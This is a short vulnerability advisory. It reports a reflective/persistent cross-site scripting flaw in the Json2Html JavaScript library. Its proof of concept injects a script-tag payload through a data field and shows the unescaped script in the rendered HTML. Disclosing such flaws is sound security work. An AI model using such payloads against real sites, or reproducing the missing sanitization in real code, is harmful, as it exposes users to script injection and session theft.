Json2Html Cross Site Scripting

# Exploit Title: Json2Html Javascript Library - Reflective/Persistant XSS
# Date: 0 day
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Vendor Homepage: http://json2html.com/
# Software Link: https://github.com/moappi/json2html/archive/master.zip
# Platorm: Javascript


Json2Html is a pure javascript library that transforms json to html and is
used as a Jquery plugin, as well as a Node.js package.

The issue lyes with there being no sanitization when the conversion between
the two occures. For example;

Proof of concept:

var transform = {'<>':'li','html':'${name} (${age})'};
    
var data = [
    {'name':'Bob','age':40},
    {'name':'<script>alert('XSS')</script>','age':34}
];

and then transformed...

<html>

    <li>
        Bob (40)
    </li>

    <li>
        <script>alert('XSS')</script> (34)
    </li>

</html>